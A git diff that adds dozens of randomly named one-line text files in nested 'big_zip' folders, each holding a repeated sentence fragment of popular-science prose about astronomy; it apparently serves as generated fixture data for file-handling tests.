+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_xgxvgqrkwusy.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_xgxvgqrkwusy.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_xgxvgqrkwusy.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/file_yvurbryvkan.txt b/big_zip/big-zip-files/folder_ptzamcbltj/file_yvurbryvkan.txt
new file mode 100644
index 0000000..8b1b475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/file_yvurbryvkan.txt
@@ -0,0 +1 @@
+content of this book is a little less than ten million bits, 10 7 . The total number of bits that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_aamdoyaoevppgjcmeu.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_aamdoyaoevppgjcmeu.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_aamdoyaoevppgjcmeu.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_dbitcmog.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_dbitcmog.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_dbitcmog.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_epixkxokuxozyeg.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_epixkxokuxozyeg.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_epixkxokuxozyeg.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_faekpuglrsipssbyys.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_faekpuglrsipssbyys.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_faekpuglrsipssbyys.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_hekirwlkhaygnvlhqwhb.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_hekirwlkhaygnvlhqwhb.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_hekirwlkhaygnvlhqwhb.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_hoknrydtmktvhk.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_hoknrydtmktvhk.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_hoknrydtmktvhk.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_jmcbxppiwcxiflgulior.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_jmcbxppiwcxiflgulior.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_jmcbxppiwcxiflgulior.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_pkgzcjtvcad.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_pkgzcjtvcad.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_pkgzcjtvcad.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_pwebpefnbesdykaakmvywajy.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_pwebpefnbesdykaakmvywajy.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_pwebpefnbesdykaakmvywajy.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_pyczhbhsk.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_pyczhbhsk.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_pyczhbhsk.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_qdcibugmbsgok.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_qdcibugmbsgok.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_qdcibugmbsgok.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_raqfmprccitre.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_raqfmprccitre.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_raqfmprccitre.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_rthkmmovwjqv.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_rthkmmovwjqv.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_rthkmmovwjqv.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_snqugeetxaq.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_snqugeetxaq.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_snqugeetxaq.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_yybblbdswozainmxtl.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_yybblbdswozainmxtl.txt
new file mode 100644
index 0000000..ab7705a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/file_yybblbdswozainmxtl.txt
@@ -0,0 +1 @@
+observations convicted this . . . calculation of an error of eight minutes; it is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_fbgevztgpuwoevcblbd.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_fbgevztgpuwoevcblbd.txt
new file mode 100644
index 0000000..19d86e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_fbgevztgpuwoevcblbd.txt
@@ -0,0 +1 @@
+observatory where the most elaborate claims in support of life on Mars were developed.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_fgumxztodrsmfqrqbihhkk.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_fgumxztodrsmfqrqbihhkk.txt
new file mode 100644
index 0000000..19d86e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_fgumxztodrsmfqrqbihhkk.txt
@@ -0,0 +1 @@
+observatory where the most elaborate claims in support of life on Mars were developed.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_galiinfordhmb.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_galiinfordhmb.txt
new file mode 100644
index 0000000..19d86e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_galiinfordhmb.txt
@@ -0,0 +1 @@
+observatory where the most elaborate claims in support of life on Mars were developed.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_iqbrhmsnauihctcztzhsdi.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_iqbrhmsnauihctcztzhsdi.txt
new file mode 100644
index 0000000..19d86e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_iqbrhmsnauihctcztzhsdi.txt
@@ -0,0 +1 @@
+observatory where the most elaborate claims in support of life on Mars were developed.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_ltvqvtnqfvr.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_ltvqvtnqfvr.txt
new file mode 100644
index 0000000..19d86e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_ltvqvtnqfvr.txt
@@ -0,0 +1 @@
+observatory where the most elaborate claims in support of life on Mars were developed.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_mwuegnykzpznunsvaa.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_mwuegnykzpznunsvaa.txt
new file mode 100644
index 0000000..19d86e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_mwuegnykzpznunsvaa.txt
@@ -0,0 +1 @@
+observatory where the most elaborate claims in support of life on Mars were developed.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_qdjdydbhtozh.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_qdjdydbhtozh.txt
new file mode 100644
index 0000000..19d86e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_qdjdydbhtozh.txt
@@ -0,0 +1 @@
+observatory where the most elaborate claims in support of life on Mars were developed.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_qzwiquyvshdkflcvjbwakw.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_qzwiquyvshdkflcvjbwakw.txt
new file mode 100644
index 0000000..19d86e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_qzwiquyvshdkflcvjbwakw.txt
@@ -0,0 +1 @@
+observatory where the most elaborate claims in support of life on Mars were developed.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_vpbdpzajoqfwpeuawonyuzrk.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_vpbdpzajoqfwpeuawonyuzrk.txt
new file mode 100644
index 0000000..19d86e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_vpbdpzajoqfwpeuawonyuzrk.txt
@@ -0,0 +1 @@
+observatory where the most elaborate claims in support of life on Mars were developed.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_zmpitneyairj.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_zmpitneyairj.txt
new file mode 100644
index 0000000..19d86e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/file_zmpitneyairj.txt
@@ -0,0 +1 @@
+observatory where the most elaborate claims in support of life on Mars were developed.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_aijozurizq.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_aijozurizq.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_aijozurizq.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_bahwroruy.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_bahwroruy.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_bahwroruy.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_bkzjyboouzlvmdly.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_bkzjyboouzlvmdly.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_bkzjyboouzlvmdly.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_bvkyxrkidwnalpa.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_bvkyxrkidwnalpa.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_bvkyxrkidwnalpa.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_craglczarksglvquggwaf.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_craglczarksglvquggwaf.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_craglczarksglvquggwaf.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_drsdsxct.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_drsdsxct.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_drsdsxct.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_fkrxsgkwebbd.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_fkrxsgkwebbd.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_fkrxsgkwebbd.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_fwanvvxkmauetinsg.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_fwanvvxkmauetinsg.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_fwanvvxkmauetinsg.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_hmwzvqmwzouzcewen.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_hmwzvqmwzouzcewen.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_hmwzvqmwzouzcewen.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_jsecqtgcyemtltfrjzozanbv.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_jsecqtgcyemtltfrjzozanbv.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_jsecqtgcyemtltfrjzozanbv.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_jvhhdeliinlhzn.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_jvhhdeliinlhzn.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_jvhhdeliinlhzn.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_kurxbgczrtzcukkpfrmnoah.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_kurxbgczrtzcukkpfrmnoah.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_kurxbgczrtzcukkpfrmnoah.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_nihurhop.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_nihurhop.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_nihurhop.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_odkhlybg.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_odkhlybg.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_odkhlybg.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_omuscyjrlnvmtwwmhpu.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_omuscyjrlnvmtwwmhpu.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_omuscyjrlnvmtwwmhpu.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_pahfukfxvteck.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_pahfukfxvteck.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_pahfukfxvteck.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_pqxzzmtiirawxthbnnopxj.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_pqxzzmtiirawxthbnnopxj.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_pqxzzmtiirawxthbnnopxj.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_qdgrpfqfyemegmm.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_qdgrpfqfyemegmm.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_qdgrpfqfyemegmm.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_qhdigigcgpmepurvzh.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_qhdigigcgpmepurvzh.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_qhdigigcgpmepurvzh.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_xitgufmiulxi.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_xitgufmiulxi.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_xitgufmiulxi.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_xkclsjetsny.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_xkclsjetsny.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_xkclsjetsny.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_yklxvxhozvrbqwar.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_yklxvxhozvrbqwar.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_yklxvxhozvrbqwar.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_yweysyyumfbnnsiqjglzxsw.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_yweysyyumfbnnsiqjglzxsw.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_yweysyyumfbnnsiqjglzxsw.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
